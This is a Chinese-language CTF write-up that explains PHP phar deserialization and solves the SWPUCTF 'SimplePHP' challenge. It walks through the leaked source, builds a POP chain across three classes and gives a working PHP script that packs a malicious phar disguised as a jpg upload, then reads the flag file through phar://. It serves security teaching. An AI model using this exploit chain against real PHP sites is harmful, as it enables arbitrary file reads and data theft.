phar反序列化
什么是phar文件
phar文件本质上是一种压缩文件，会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时，会自动反序列化meta-data内的内容。
PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件。如果你使用的是 PHP 5.3 或更高版本，那么Phar后缀文件是默认开启支持的，你不需要任何其他的安装就可以使用它。
在软件中，PHAR（PHP归档）文件是一种打包格式，通过将许多PHP代码文件和其他资源（例如图像，样式表等）捆绑到一个归档文件中来实现应用程序和库的分发
php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数，如(fopen(),copy(),file_exists()和filesize()。 phar://就是一种内置的流包装器。
phar介绍
phar结构
phar结构由四方面组成
stub phar 文件标识，格式为 xxx<?php xxx; __HALT_COMPILER();?>；manifest 压缩文件的属性等信息，以序列化存储；contents 压缩文件的内容；signature 签名，放在文件末尾；
这里有两个关键点，一是文件标识，必须以__HALT_COMPILER();?>结尾，但前面的内容没有限制，也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制；二是反序列化，phar存储的meta-data信息以序列化方式存储，当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化，而这样的文件操作函数有很多。
生成phar文件
<?phpclass Test {}@unlink("phar.phar"); //@用来屏蔽输出$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$o = new Test();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>
漏洞利用条件
1. phar文件要能够上传到服务器端。
2. 要有可用的魔术方法作为“跳板”。
3. 文件操作函数的参数可控，且:、/、phar等特殊字符没有被过滤。
可利用的函数
seebug指出了所有文件函数均可使用
更多可利用函数
[SWPUCTF ]SimplePHP
看到查看文件
/file.php?file=
应该是文件包含 所以我们试试能不能直接把文件读出来。。。幸福的有点过分了？
连filter都不要用。。。
打算读日志但是没成功
是个套娃 把源码全爆出来
file.php
<?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) {echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) {$show->source = $file; $show->_show(); } else if (!empty($file)){die('file doesn\'t exists.'); } ?>
class.php
<?phpclass C1e4r{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}}class Show{public $source;public $str;public function __construct($file){$this->source = $file; //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}}class Test{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}}?>
fuction.php
<?php //show_source(__FILE__); include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() {global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) {unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; } function upload_file() {global $_FILES; if(upload_file_check()) {upload_file_do(); } } function upload_file_check() {global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) {//echo "<h4>请选择上传的文件:" . "<h4/>"; } else{if(in_array($extension,$allowed_types)) {return true; } else {echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } ?>
base.php
<?php session_start(); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>web3</title> <link rel="stylesheet" href="/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> <script src="/jquery/2.1.1/jquery.min.js"></script> <script src="/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> </head> <body> <nav class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="index.php">首页</a> </div> <ul class="nav navbar-nav navbra-toggle"> <li class="active"><a href="file.php?file=">查看文件</a></li> <li><a href="upload_file.php">上传文件</a></li> </ul> <ul class="nav navbar-nav navbar-right"> <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> </ul> </div> </nav> </body> </html> <!--flag is in f1ag.php-->
开始分析源码
理一下思路：
我们最终的目的是读 f1ag.php 文件
而在show类中 会有过滤
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source))
思路1：
如果我们能 写/上传 个shell进去 再读文件就ok了 这就涉及到上传的绕过
思路2：
Test类中有 file_get_contents() 方法 是否能调用？利用反序列化
读了一会代码后发现上传的文件被强制.jpg 所以 .htaccess 之类的文件就上传不了了
那么转向第二种
利用反序列化
构造pop链
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
Test类
最后肯定调用的是 file_get_contents() 方法
逆向分析？
我们想要控制file_get_contents() 中的 $value
要找到 get 函数 控制其中的 $key
而 $key 的值来源于params 在 __get中调用了 get函数
所以我们要给 $params[$key] 赋值 f1ag.php 然后触发 __get方法
触发 __get 方法的条件是 从不可访问的属性读取数据
只有show类负责读取数据 接下来应该分析show类
Show类
需要从外部访问一个Test类没有或不可访问的属性
而 show类中 的 __tostring() 方法可以访问一个对象的 source 属性 而Test类中并没有 source属性
__toString() 把类当作字符串使用时触发
现在我们要考虑的是如何把类当作字符串使用？
C1e4r类
发现在对象销毁的时候 有
public function __destruct(){$this->test = $this->str;echo $this->test;}
如果test是个类的话就可以实现
<?phpclass C1e4r{public $test;public $str;}class Show{public $source;public $str;}class Test{public $file;public $params;}$a = new C1e4r();$b = new Show();$c = new Test();$c->params['source'] = "/var/www/html/f1ag.php";//目标文件$a->str = $b; //触发__tostring$b->str['str'] = $c; //触发__get;$phar = new Phar("exp.phar"); //生成phar文件$phar->startBuffering();$phar->setStub('<?php __HALT_COMPILER(); ? >');$phar->setMetadata($a); //触发头是C1e4r类$phar->addFromString("exp.jpg", "test"); //生成签名$phar->stopBuffering();
然后访问 ?file=phar:// 文件就可以了
运行时会遇到一点小问题。。。
Uncaught UnexpectedValueException: creating archive "phar.phar" disabled by the php.ini setting phar.readonly
然后我加上了
ini_set("phar.readonly","Off");
发现还是报错。。。
后来了解到 不是所有的 ini 都可以用 ini_set 来改。。。
访问upload可得到文件名
访问得到一串base64
file.php?file=phar://upload/c8530e61408f8b43dc63ce78388c24f3.jpg
PD9waHAgDQoJLy8kYSA9ICdmbGFnezhjMjc0YjVmLWI2YmUtNDI2My1hZGI0LTljYTQzNzUwZTAyOH0nOw0KID8+DQoNCg==
解码后得到flag
